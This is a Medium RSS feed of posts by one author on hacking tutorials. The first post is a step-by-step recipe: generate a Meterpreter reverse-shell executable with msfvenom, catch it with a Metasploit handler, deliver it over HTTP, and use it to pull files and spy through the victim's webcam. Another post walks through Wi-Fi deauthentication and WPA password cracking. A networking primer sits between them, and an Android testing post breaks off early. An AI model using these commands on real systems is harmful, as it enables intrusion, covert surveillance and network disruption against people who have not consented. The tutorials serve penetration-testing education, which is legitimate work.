<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ashish inkar on Medium]]></title>
        <description><![CDATA[Stories by Ashish inkar on Medium]]></description>
        <link>https://medium.com/@ashishinkar?source=rss-5d5e7c643d6b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*8CzYMMoQL4E_M1uy</url>
            <title>Stories by Ashish inkar on Medium</title>
            <link>https://medium.com/@ashishinkar?source=rss-5d5e7c643d6b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:19:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ashishinkar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mastering in Windows 11 Hacking: A Step-by-Step Guide to Windows11 Meterpreter Access : Payload…]]></title>
            <link>https://medium.com/@ashishinkar/mastering-in-windows-11-hacking-a-step-by-step-guide-to-windows11-meterpreter-access-payload-d4b5c6c7f6d0?source=rss-5d5e7c643d6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4b5c6c7f6d0</guid>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hacked]]></category>
            <dc:creator><![CDATA[Ashish inkar]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 17:41:30 GMT</pubDate>
            <atom:updated>2026-04-21T17:41:30.723Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering in Windows 11 Hacking: A Step-by-Step Guide to Windows11 Meterpreter Access : Payload Generation</h3><h3>Introduction</h3><p>In the world of Penetration Testing, establishing a solid footprint on a target system is a critical skill. One of the most powerful tools for this task is the <strong>Meterpreter</strong> payload — a multifaceted post-exploitation tool that runs via in-memory DLL injection. Unlike standard shells, Meterpreter resides entirely in memory, making it harder to track and incredibly flexible.</p><h3>Step 1: Crafting the Payload with MSFVenom</h3><p>The process begins with msfvenom, the payload generator for the Metasploit Framework. We need to create an executable that, when run, tells the Windows machine to &quot;call back&quot; to our Kali Linux machine.</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp \<br>LHOST=192.168.1.5 \<br>LPORT=1122 \<br>-f exe \<br>-o kali.exe</pre><ul><li><strong>-p</strong>: Specifies the payload (Windows 64-bit Reverse TCP).</li><li><strong>LHOST</strong>: The IP address of the listening machine (Kali).</li><li><strong>LPORT</strong>: The port the listener is waiting on.</li><li><strong>-f</strong>: The output format (executable).</li><li><strong>-o</strong>: The output filename.</li><li><strong>The Logic:</strong> We use the reverse_tcp payload because it is generally more successful at bypassing firewalls that allow outgoing traffic but block incoming connections.</li></ul><h3>Step 2: Preparing the Listener (The Handler)</h3><p>Before we “send the bait,” we need a net to catch it. We use the <strong>Multi-Handler</strong> inside Metasploit to wait for the incoming connection from our target</p><p><strong>The Setup:</strong></p><ol><li>Open Metasploit: msfconsole</li><li>Select the handler: use exploit/multi/handler</li><li>Match the payload settings exactly to your msfvenom command.</li></ol><h3><strong>Configure the Multi-Handler:<br></strong>1. Initializing the Handler</h3><p>First, we load the module designed to handle incoming connections.</p><p>Code snippet</p><pre>msf&gt; use exploit/multi/handler</pre><ul><li><strong>Why:</strong> This module is universal. It can handle connections from any payload type (staged or stageless) across any operating system, provided the settings match.</li></ul><h3>2. Defining the Payload Architecture</h3><p>You must tell the handler exactly what type of connection to expect. If your payload is 64-bit and your handler is set to 32-bit, the session will fail (or “die”) immediately upon connection.</p><p>Code snippet</p><pre>msf&gt; set payload windows/x64/meterpreter_reverse_tcp</pre><ul><li><strong>Deep Dive:</strong> * windows/x64: Matches the architecture of the msfvenom payload.</li><li>meterpreter: Specifies the advanced, in-memory reflective DLL injection shell.</li><li>reverse_tcp: Tells the handler to wait for the victim to connect back to you (the attacker).</li></ul><h3>3. Setting the Connection Parameters (LHOST &amp; LPORT)</h3><p>These must be identical to the values you used during the msfvenom creation phase.</p><p>Code snippet</p><pre>msf&gt; set LHOST 172.20.10.4<br>msf&gt; set LPORT 1122</pre><ul><li><strong>LHOST (Local Host):</strong> This is the IP address of your Kali machine. The handler binds to this IP to “listen” for the incoming packet.</li><li><strong>LPORT (Local Port):</strong> This is the specific port that will be opened on your Kali machine. Ensure no other service (like a web server or another listener) is using this port.</li></ul><h3>4. Advanced Handler Options</h3><p>A. Backgrounding the Listener</p><p>Code snippet</p><pre>msf&gt; set ExitOnSession false</pre><ul><li><strong>Why:</strong> By default, the handler stops running after the first session is established. Setting this to false allows the handler to stay active, catching multiple victims if you have more than one person running your kali.exe.</li></ul><h4>B. Persistence &amp; Migration</h4><p>Code snippet</p><pre>msf&gt; set InitialAutoRunScript post/windows/manage/migrate</pre><ul><li><strong>Why:</strong> If the victim closes the kali.exe file, your shell will die. This command automatically moves (migrates) the Meterpreter process to a more stable Windows process (like explorer.exe or svchost.exe) the moment the connection is made.</li></ul><h3>5. Execution</h3><p>Once everything is configured, verify your settings:</p><p>Code snippet</p><pre>msf&gt; show options</pre><p>If everything looks correct, launch the listener:</p><p>Code snippet</p><pre>msf&gt; exploit -j -z</pre><ul><li><strong>-j (Jobs):</strong> Runs the handler in the background as a job.</li><li><strong>-z (Zero interaction):</strong> Does not immediately switch to the Meterpreter prompt when a session is opened, allowing you to keep working in the console.</li></ul><blockquote><strong>Preparation (on Target): &gt; Note: For educational lab purposes, ensure Real-Time Protection and Cloud-Delivered Protection are disabled in Windows Security, as basic </strong><strong>msfvenom payloads are easily detected by signature-based scanning.</strong></blockquote><ul><li><strong>Download and Execute:</strong> Navigate to http://192.168.1.5:8081 on the target machine, download kali.exe, and run it.</li></ul><h3>Step 3: Payload Delivery via Python Web Server</h3><p>In a real-world scenario, delivery might happen via phishing or social engineering. For our lab environment, we use a quick Python HTTP server to host the file.</p><p><strong>The Command:</strong></p><p>Bash</p><pre>python3 -m http.server 8081</pre><ul><li><strong>Crucial Step:</strong> Modern Windows systems will block unsigned .exe files immediately. For lab success, ensure <strong>Real-Time Protection</strong> is disabled to simulate an environment where an attacker has successfully bypassed initial defenses.</li></ul><blockquote><strong>Download and Execute: Navigate to </strong><strong>http://192.168.1.5:8081 on the target machine, download </strong><strong>kali.exe, and run it.</strong></blockquote><h3><strong>Phase 4: Post-Exploitation Interaction</strong></h3><p>Once the “Boom!” moment happens and the session is established, you can use the following commands to interact with the target system.</p><h3>System Information Gathering</h3><p><strong>CommandDescription</strong>sysinfoProvides OS version, computer name, and architecture.ipconfigDisplays network interface details.dirLists files and folders in the current directory.shellDrops into a native Windows Command Prompt (CMD).</p><h3>Exfiltration &amp; Surveillance</h3><p><strong>CommandDescription</strong>download [filename]Downloads a file from the target to your Kali machine.webcam_snapTakes a single snapshot from the target&#39;s webcam.webcam_streamOpens a live video stream from the target&#39;s webcam.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4b5c6c7f6d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Network Security: Protocols, Infrastructure, and Attacks]]></title>
            <link>https://medium.com/@ashishinkar/introduction-to-network-security-protocols-infrastructure-and-attacks-317203c7e312?source=rss-5d5e7c643d6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/317203c7e312</guid>
            <dc:creator><![CDATA[Ashish inkar]]></dc:creator>
            <pubDate>Thu, 22 Jan 2026 12:57:30 GMT</pubDate>
            <atom:updated>2026-01-22T12:57:30.636Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*QxeZ257rG7hlqALPOOkSxQ.png" /></figure><h3>🛡️ Module 1: Basic Networking Protocols &amp; Ports</h3><p><strong>Target Audience:</strong> Cybersecurity Students / Beginners</p><p><strong>Objective:</strong> Understand how data moves, how connections are established, and which doors (ports) are used.</p><h3>1. The “Map” of Networking: OSI vs. TCP/IP Models</h3><p>Before diving into specific ports, students must understand the structure.</p><ul><li><strong>OSI Model (7 Layers):</strong> Theoretical. Good for troubleshooting.</li><li><strong>TCP/IP Model (4 Layers):</strong> Practical. This is how the internet actually works.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*NYFPqnF9cmKotHDnVnYEUw.png" /></figure><h3>2. The Connection: TCP 3-Way Handshake</h3><p><strong>Why this matters:</strong> Most network attacks (like SYN Floods) and scanning tools (like Nmap) rely on manipulating this specific process.</p><p>To start a reliable connection (TCP), computers “shake hands” in three steps:</p><ol><li><strong>SYN:</strong> Client says “Hello, I want to talk.” (Synchronize)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*f6f-xiN1GIl3bi8z.png" /></figure><p><strong>2. SYN-ACK:</strong> Server says “Hello received, I am ready.” (Synchronize-Acknowledge)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Kad_ly0rfBSzghV-.png" /></figure><p><strong>3. ACK:</strong> Client says “Great, let’s start sending data.” (Acknowledge)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*HsgxTMK6gcO-EWhc.png" /></figure><p><strong>Visual Diagram:</strong></p><pre>Client (You)                          Server (Website)<br>          |                                       |<br>          | --- [1] SYN ------------------------&gt; |  (Open?)<br>          |                                       |<br>          | &lt;-- [2] SYN/ACK --------------------- |  (Yes, Open!)<br>          |                                       |<br>          | --- [3] ACK ------------------------&gt; |  (Ok, connected)<br>          |                                       |<br>     [Data Transfer Begins]</pre><h3>3. Critical Protocols &amp; Ports (The “Must-Knows”)</h3><p>I have categorized these by function to make them easier to memorize.</p><h3>A. Web Browsing (The Internet)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*Ofa_f8nmuh-3sn-ZMDyPFw.png" /></figure><h3>B. Remote Access (Controlling computers from afar)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*WA4ITdoL3ylXTy4WQlnMfw.png" /></figure><h3>C. File Transfer (Moving data)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*5sGNa7JTS0XDdjW3FOpN7w.png" /></figure><h3>D. Email (Sending and Receiving)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*i7D6fb72u3RCTq-FZfS5wQ.png" /></figure><h3>E. Infrastructure (The “Plumbing”)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*ribPGIpGFZJwBfP0P25JUQ.png" /></figure><h3>4. Transport Layer: TCP vs. UDP</h3><p>Understanding the difference is vital for scanning and firewall rules.</p><h4><strong>TCP (Transmission Control Protocol):</strong></h4><ul><li><strong>Reliable:</strong> Guarantees delivery.</li><li><strong>Ordered:</strong> Packets arrive in order (1, 2, 3…).</li><li><strong>Heavy:</strong> Slower because of the 3-way handshake.</li><li><em>Examples: Web (HTTP), Email, File Transfer.</em></li></ul><h4><strong>UDP (User Datagram Protocol):</strong></h4><ul><li><strong>Unreliable:</strong> “Fire and forget.” No guarantee it arrived.</li><li><strong>Fast:</strong> No handshake overhead.</li><li><strong>Real-time:</strong> If a packet is lost, we don’t care (we just want the next video frame).</li><li><em>Examples: Streaming Video, VoIP (Voice calls), DNS queries.</em></li></ul><h3>5. Cheat Sheet for Students</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*shAkEpi2UPWujvAAXt-0Jw.png" /></figure><h3>🛡️ Module 2: Addressing &amp; Hardware Infrastructure</h3><p><strong>Objective:</strong> Master the difference between logical (IP) and physical (MAC) addressing, and understand the hardware roles in a secure network.</p><h3>1. The IP Address (Logical Address)</h3><p><strong>Definition:</strong> An <strong>Internet Protocol (IP) Address</strong> is a numerical label assigned to every device connected to a computer network. Think of it like your <strong>Home Address</strong>; it tells the world <em>where</em> you are so they can send you mail (data).</p><h3>A. IPv4 Class Structure</h3><p>IPv4 addresses are 32-bit numbers (e.g., 192.168.1.1). They are divided into 5 &quot;Classes&quot; based on the first number (octet). This determines the size of the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*-HfERHVYUyO8Qqt8Z-n9BQ.png" /></figure><blockquote><strong><em>⚠️ Important Exception:</em></strong><em> The address </em><em>127.0.0.1 (and the whole 127 range) is reserved for </em><strong><em>Loopback</em></strong><em>. It points back to the computer itself. It is used for testing if your network card is working.</em></blockquote><h3>B. Types of IP Addresses</h3><p>Students must understand these three distinctions:</p><p><strong>1. IPv4 vs. IPv6</strong></p><ul><li><strong>IPv4:</strong> 32-bit (e.g., 192.168.1.1). We ran out of these addresses years ago.</li><li><strong>IPv6:</strong> 128-bit (e.g., 2001:0db8:85a3...). Alphanumeric. Virtually infinite addresses.</li></ul><p><strong>2. Public vs. Private (The most important concept for security)</strong></p><ul><li><strong>Public IP:</strong> Routable on the internet. You pay your ISP for this. Unique worldwide.</li><li><strong>Private IP:</strong> Used <em>inside</em> your LAN (Home/Office). <strong>Not</strong> routable on the internet.</li><li><em>Class A Private:</em> 10.0.0.0 to 10.255.255.255</li><li><em>Class B Private:</em> 172.16.0.0 to 172.31.255.255</li><li><em>Class C Private:</em> 192.168.0.0 to 192.168.255.255</li></ul><p><strong>3. Static vs. Dynamic</strong></p><ul><li><strong>Static IP:</strong> Manually typed in. Doesn’t change. Used for Servers and Printers.</li><li><strong>Dynamic IP (DHCP):</strong> Automatically assigned by the router. Changes periodically. Used for employee laptops and phones.</li></ul><h3>2. The MAC Address (Physical Address)</h3><p><strong>Definition:</strong> The <strong>Media Access Control (MAC)</strong> address is burned into the network card (NIC) by the manufacturer.</p><ul><li><strong>Analogy:</strong> If IP is your <em>Mailing Address</em> (changeable), MAC is your <em>Fingerprint</em> (permanent).</li><li><strong>Format:</strong> 48-bit Hexadecimal (e.g., 00:1A:2B:3C:4D:5E).</li></ul><h3>Structure of a MAC Address</h3><ol><li><strong>First 24 bits (OUI):</strong> Organizationally Unique Identifier. Identifies the <strong>Manufacturer</strong> (e.g., Dell, Apple, Cisco).</li><li><strong>Last 24 bits (NIC):</strong> Network Interface Controller. The specific serial number of that card.</li></ol><p><strong>Security Note:</strong></p><ul><li><strong>MAC Spoofing:</strong> Hackers can use software to “fake” their MAC address to bypass filters (e.g., bypassing “Free Wi-Fi” time limits or MAC filtering on routers).</li></ul><h3>3. Network Devices (The Plumbing)</h3><h3>A. Switch (Layer 2)</h3><ul><li><strong>Function:</strong> Connects devices (PCs, Printers) within the <strong>same network</strong> (LAN).</li><li><strong>Intelligence:</strong> It uses a <strong>MAC Address Table</strong>. It learns which computer is plugged into which port. When Data A wants to go to Data B, the switch creates a direct connection.</li><li><strong>Security Note:</strong> Old devices called “Hubs” broadcasted data to everyone. Switches are more secure because they isolate traffic, making “sniffing” harder (but not impossible — see ARP Poisoning).</li></ul><h3>B. Router (Layer 3)</h3><ul><li><strong>Function:</strong> Connects <strong>different networks</strong> together (e.g., Your LAN to the Internet).</li><li><strong>Intelligence:</strong> It uses <strong>IP Addresses</strong> and a <strong>Routing Table</strong> to decide the best path for data to travel across the world.</li><li><strong>Key Role:</strong> It acts as the <strong>Gateway</strong>. Without a router, you cannot leave your local building.</li></ul><h3>4. Security Devices (The Defense)</h3><h3>A. Firewall</h3><ul><li><strong>Role:</strong> The <strong>Gatekeeper</strong>.</li><li><strong>Function:</strong> Controls incoming and outgoing traffic based on a rule set.</li></ul><p><strong>Types:</strong></p><ul><li><em>Hardware Firewall:</em> A physical box protecting the whole company.</li><li><em>Software Firewall:</em> Installed on your laptop (e.g., Windows Defender Firewall).</li><li><strong>Stateful Inspection:</strong> Modern firewalls remember the “state” of a connection. If you requested a video, it lets the video in. If a video tries to come in that you <em>didn’t</em> ask for, it blocks it.</li></ul><h3>B. IDS (Intrusion Detection System)</h3><ul><li><strong>Role:</strong> The <strong>Burglar Alarm</strong>.</li><li><strong>Function:</strong> It analyzes copies of network traffic to look for known attack signatures.</li><li><strong>Action:</strong> If it sees a hacker, it <strong>alerts</strong> the Admin (Log/Email). It does <strong>not</strong> stop the traffic. It is passive.</li></ul><h3>C. IPS (Intrusion Prevention System)</h3><ul><li><strong>Role:</strong> The <strong>Security Guard</strong>.</li><li><strong>Function:</strong> It sits <em>in-line</em> with the traffic (like a checkpoint).</li><li><strong>Action:</strong> If it sees a hacker, it <strong>drops the packet</strong> immediately and blocks the IP. It is active.</li></ul><h3>🛡️ Module 3: Tools, Tactics &amp; Architecture</h3><p><strong>Target Audience:</strong> Cybersecurity Students / Beginners</p><p><strong>Objective:</strong> Understand how networks are defended, how they are attacked, and the specific tools used for both.</p><h3>1. Network Defense Concepts (The Architecture)</h3><p>Before using tools, students must understand how we design a network to be secure by default.</p><h3>A. Subnetting &amp; CIDR (Network Segmentation)</h3><ul><li><strong>Concept:</strong> Instead of one big open room (flat network), we divide the building into secure rooms (subnets).</li><li><strong>Why it’s Secure:</strong> If a hacker compromises the “Guest Wi-Fi” subnet, they cannot easily jump to the “Finance Server” subnet.</li><li><strong>CIDR (Classless Inter-Domain Routing):</strong> The notation we use to define the size of the room (e.g., /24 means 254 IP addresses).</li></ul><h3>B. NAT (Network Address Translation)</h3><ul><li><strong>Concept:</strong> Hiding your internal private IP addresses behind one public IP address.</li><li><strong>Analogy:</strong> An office building has one public mailing address, but hundreds of internal desk numbers. The outside world only sees the building address.</li><li><strong>Security Value:</strong> Hackers on the internet cannot directly target your specific laptop’s private IP (e.g., 192.168.1.50) because it is hidden behind the router.</li></ul><h3>C. VPN (Virtual Private Network)</h3><ul><li><strong>Concept:</strong> Creating a secure, encrypted “tunnel” through the public internet.</li><li><strong>Exploit Risk:</strong> Without a VPN, a “Man-in-the-Middle” attacker on public Wi-Fi can read your traffic.</li><li><strong>Secure Use:</strong> A remote employee connects to the corporate network via VPN. To the outside world, the data looks like garbage text (encrypted).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*k1dLHIMWFce6vaAj" /></figure><h3>2. Security Devices: The Guards</h3><p>Students often confuse Firewalls, IDS, and IPS. Here is the distinction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*19sGm6RgKLSLPxHj4at1KA.png" /></figure><h3>3. The Toolkit: Secure vs. Exploit</h3><p>This is the most critical section for practical skills. I have paired the tools: <strong>Reconnaissance</strong> (Finding the target) vs. <strong>Analysis</strong> (Understanding the traffic).</p><h3>A. Network Scanning (The Map Makers)</h3><ul><li><strong>Tool:</strong> <strong>Nmap</strong> (Network Mapper)</li><li><strong>What it does:</strong> Sends packets to a target to see which “doors” (ports) are open.</li><li><strong>Exploit Use:</strong> Hackers use it to find vulnerable services (e.g., “Oh, Port 21 is open, let me try to hack FTP”).</li><li><strong>Secure Use:</strong> Admins use it to find unauthorized open ports and close them.</li><li><em>Command:</em> nmap -sV 192.168.1.1 (Scans for open ports and service versions)</li></ul><h3>B. Packet Analysis (The Microscopes)</h3><ul><li><strong>Tool:</strong> <strong>Wireshark</strong></li><li><strong>What it does:</strong> Captures live traffic flowing through the wire. It shows you the raw data (binary/hex).</li><li><strong>Exploit Use:</strong> “Sniffing” unencrypted passwords (like Telnet or HTTP) from the network.</li><li><strong>Secure Use:</strong> Troubleshooting network lag or detecting if a computer is communicating with a Command &amp; Control (C2) server.</li></ul><h3>C. Exploitation Frameworks (The Weapons)</h3><ul><li><strong>Tool:</strong> <strong>Metasploit</strong></li><li><strong>What it does:</strong> A massive library of known exploits (code that breaks into software).</li><li><strong>Exploit Use:</strong> Selecting a specific exploit (e.g., eternalblue) to break into an unpatched Windows machine.</li><li><strong>Secure Use:</strong> Penetration Testers use it to demonstrate to a company that their systems <em>can</em> be hacked, so they fix it.</li></ul><h3>D. Web Analysis (The Web Specialists)</h3><ul><li><strong>Tool:</strong> <strong>Burp Suite</strong></li><li><strong>What it does:</strong> Intercepts traffic between your browser and a website.</li><li><strong>Exploit Use:</strong> Modifying a shopping cart request to change the price of an item from $100 to $1.</li><li><strong>Secure Use:</strong> Testing web apps for SQL Injection or Cross-Site Scripting (XSS) vulnerabilities.</li></ul><h3>4. Common Network Attacks (Theory)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*RfWXP10gCOQeS7uxadBNzg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=317203c7e312" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wi-Fi Hacking: Practical Steps (For Ethical Learning)]]></title>
            <link>https://medium.com/@ashishinkar/wi-fi-hacking-practical-steps-for-ethical-learning-e3e977f23d79?source=rss-5d5e7c643d6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3e977f23d79</guid>
            <dc:creator><![CDATA[Ashish inkar]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 05:50:35 GMT</pubDate>
            <atom:updated>2025-12-24T05:50:35.423Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D1uuA_ioDRkIa3zJ.jpg" /></figure><p><strong>Disclaimer:</strong><br> This blog is written <strong>only for educational purposes</strong>.<br> Perform Wi-Fi hacking or penetration testing <strong>only on networks you own or have written permission for</strong>.<br> Unauthorized access to Wi-Fi networks is illegal and punishable by law.</p><h3>What is Wi-Fi?</h3><p>Wi-Fi is a <strong>wireless networking technology</strong> that allows devices like mobile phones, laptops, and IoT devices to connect to the internet <strong>without using cables</strong>.</p><p>Wi-Fi works on <strong>radio waves</strong> and mainly uses:</p><ul><li><strong>2.4 GHz</strong></li><li><strong>5 GHz</strong></li></ul><p>Every Wi-Fi network has:</p><ul><li><strong>SSID</strong> — Name of the Wi-Fi</li><li><strong>BSSID</strong> — MAC address of the router</li><li><strong>Channel</strong> — Frequency used for communication</li><li><strong>Encryption</strong> — Security method like WPA, WPA2, WPA3</li></ul><h3>Wi-Fi and Networking: First Step into Networking</h3><p>Before learning Wi-Fi hacking, it is important to understand <strong>basic networking concepts</strong>, because Wi-Fi hacking is not magic — it is <strong>network analysis</strong>.</p><h4><strong>Entry Level Networking Concepts:</strong></h4><ul><li><strong>Client</strong> — Device connected to Wi-Fi (mobile, laptop)</li><li><strong>Access Point (AP)</strong> — Router</li><li><strong>Handshake</strong> — Authentication process between client and router</li><li><strong>Packets</strong> — Small units of data sent over the network</li><li><strong>MAC Address</strong> — Unique hardware address</li></ul><p>Wi-Fi hacking mainly focuses on:</p><ul><li>Monitoring packets</li><li>Capturing authentication handshakes</li><li>Testing password strength</li></ul><h3>What is Wi-Fi Hacking?</h3><p>Wi-Fi hacking (ethical) means:</p><ul><li>Testing Wi-Fi security</li><li>Finding weak passwords</li><li>Checking encryption vulnerabilities</li><li>Improving network security</li></ul><p>Tools like <strong>Aircrack-ng</strong> are used by <strong>security professionals</strong> to audit wireless networks.</p><h3>Requirements for Wi-Fi Security Testing</h3><h4>Hardware:</h4><ul><li>Laptop with Linux (Kali Linux preferred)</li><li>External Wi-Fi adapter that supports <strong>Monitor Mode</strong></li></ul><h4>Software:</h4><ul><li>Aircrack-ng suite</li><li>Wordlist (like rockyou.txt)</li></ul><h3>Wi-Fi Hacking Step-by-Step (Practical)</h3><h3>Step 1: Check Wireless Interface</h3><p>Command:</p><pre>iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*PN1I2YiGKcs6qWSHlZ2zLQ.png" /></figure><p><strong>Purpose:</strong></p><ul><li>Shows wireless interfaces</li><li>Confirms wireless extension is available</li><li>Example interface: wlan0, wlan1</li></ul><h3>Step 2: Check Aircrack-ng Installation</h3><p>Command:</p><pre>sudo airmon-ng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*Oi1M4EB2JKWtTnVUpHDP6Q.png" /></figure><p><strong>Purpose:</strong></p><ul><li>Verifies Aircrack-ng is installed</li><li>Lists available wireless interfaces</li></ul><h3>Step 3: Kill Conflicting Processes</h3><p>Command:</p><pre>sudo airmon-ng check kill</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*q58oYNHSosWIiIUC-YVu2A.png" /></figure><p><strong>Purpose:</strong></p><ul><li>Stops services like NetworkManager</li><li>Required to avoid interference with the monitor mode</li></ul><h3>Step 4: Enable Monitor Mode</h3><p>Command:</p><pre>sudo airmon-ng start wlan0</pre><p>(or wlan1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*0oAZF_-wH9n8S5gpdAMWEA.png" /></figure><p><strong>Result:</strong></p><ul><li>Interface changes to <strong>monitor mode</strong></li><li>New interface created: wlan0mon or Wlan0</li></ul><h3>Step 5: Scan Nearby Wi-Fi Networks</h3><p>Command:</p><pre>sudo airodump-ng wlan0mon</pre><pre>sudo airodump-ng wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CE976GWotdPUWt-PI4rWcw.png" /></figure><p><strong>Purpose:</strong></p><ul><li>Shows nearby Wi-Fi networks</li><li>Displays:</li><li>BSSID</li><li>Channel</li><li>Encryption</li><li>Connected clients</li></ul><h3>Step 6: Target a Specific Wi-Fi Network</h3><p>Command:</p><pre>sudo airodump-ng wlan0mon --bssid &lt;BSSID&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*j4nohXa0BAhsc8V-hmBPSw.png" /></figure><p><strong>Purpose:</strong></p><ul><li>Focuses on one selected Wi-Fi</li><li>Monitors connected clients</li></ul><h3>Step 7: Capture Handshake &amp; Save Packets</h3><p>Command:</p><pre>sudo airodump-ng -w hack1 -c 1 --bssid &lt;Router_BSSID&gt; wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*nY5dn17nxg0q__Ss5DcwoA.png" /></figure><p><strong>Explanation:</strong></p><ul><li>-w hack1 → Saves captured packets</li><li>-c 2 → Target channel</li><li>--bssid → Target router</li><li>Capture continues until <strong>WPA Handshake</strong> is captured</li></ul><h3>Step 8: Deauthentication Attack (For Testing)</h3><p>Command:</p><pre>sudo aireplay-ng --deauth 0 -a &lt;Router_BSSID&gt; wlan0mon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*K6XqMi1jsAlQjKXPd80JiQ.png" /></figure><p><strong>Purpose:</strong></p><ul><li>Disconnects connected clients</li><li>Forces them to reconnect</li><li>Helps capture <strong>3-way/4-way handshake</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*PJnvT8lxnWLLUBBX_a3IHQ.png" /></figure><p>⚠️ Use only on authorized networks</p><h3>Step 9: Stop Monitor Mode</h3><p>Command:</p><pre>sudo airmon-ng stop wlan0mon</pre><p><strong>Purpose:</strong></p><ul><li>Restores Wi-Fi to normal managed mode</li></ul><h3>Step 10: Crack Password Using Wordlist</h3><p>Command:</p><pre>sudo aircrack-ng hack1-01.cap -w /path/to/wordlist.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*lHtbSsi9pJcOjF6k41fluQ.png" /></figure><h3>Last Wow: You Successfully Crack the Password!</h3><p>And there it is — after all those steps, when aircrack-ng finally shows:</p><pre>KEY FOUND! [ poison13]</pre><p>That moment is pure magic. You’ve gone from scanning the airwaves to cracking a real WiFi password. That’s the power of networking and security tools in action.</p><p>Last wow: You successfully crack the password! 💥</p><p><strong>Explanation:</strong></p><ul><li>Matches captured handshake</li><li>Tries passwords from wordlist</li><li>If password exists in wordlist, it will be shown</li></ul><h3>Final Thoughts &amp; Ethics</h3><p>WiFi hacking is a powerful skill, but it must be used responsibly:</p><ul><li>Only test networks you own or have written permission to test.</li><li>Never use this knowledge for illegal activities.</li><li>Always follow ethical hacking principles.</li></ul><p>By understanding how WiFi works and how attacks are performed, you can also learn how to secure your own network:</p><ul><li>Use a strong, long password (12+ characters, mix of letters, numbers, symbols).</li><li>Use WPA3 if your router supports it.</li><li>Disable WPS (it’s vulnerable to brute-force).</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3e977f23d79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Application Security Testing Setup Lab: Beginner to Advanced]]></title>
            <link>https://medium.com/@ashishinkar/android-application-security-testing-lab-beginner-to-advanced-2ceb006f83aa?source=rss-5d5e7c643d6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ceb006f83aa</guid>
            <dc:creator><![CDATA[Ashish inkar]]></dc:creator>
            <pubDate>Sat, 06 Dec 2025 12:36:45 GMT</pubDate>
            <atom:updated>2025-12-18T09:41:59.993Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction section</h3><p>In this blog, I will walk you through the complete process of testing Android applications using <strong>Burp Suite</strong>, <strong>Frida</strong>, and a <strong>rooted Android emulator</strong>.<br> The goal is to intercept and analyze HTTPS traffic, bypass SSL pinning, and perform deep security testing of Android apps.</p><h3>Tools Used</h3><ul><li><strong>Android Studio Emulator</strong> (rooted using rootAVD + Magisk)</li><li><strong>ADB Platform Tools</strong></li><li><strong>Burp Suite Community/Pro</strong></li><li><strong>Frida server + Frida client</strong></li><li><strong>Windows/Kali Linux</strong> (as the host machine)</li></ul><h3>2. Downloading &amp; Setting Up Android Studio Emulator (Complete Guide)</h3><p>Before rooting the emulator and starting app security testing, we first need to download and fully set up <strong>Android Studio</strong> and the <strong>AVD Emulator</strong>. Android Studio provides the most stable and customizable emulator compared to other platforms like Genymotion or Bluestacks.<br> Here is the complete step-by-step process.</p><h4>Step 1: Download 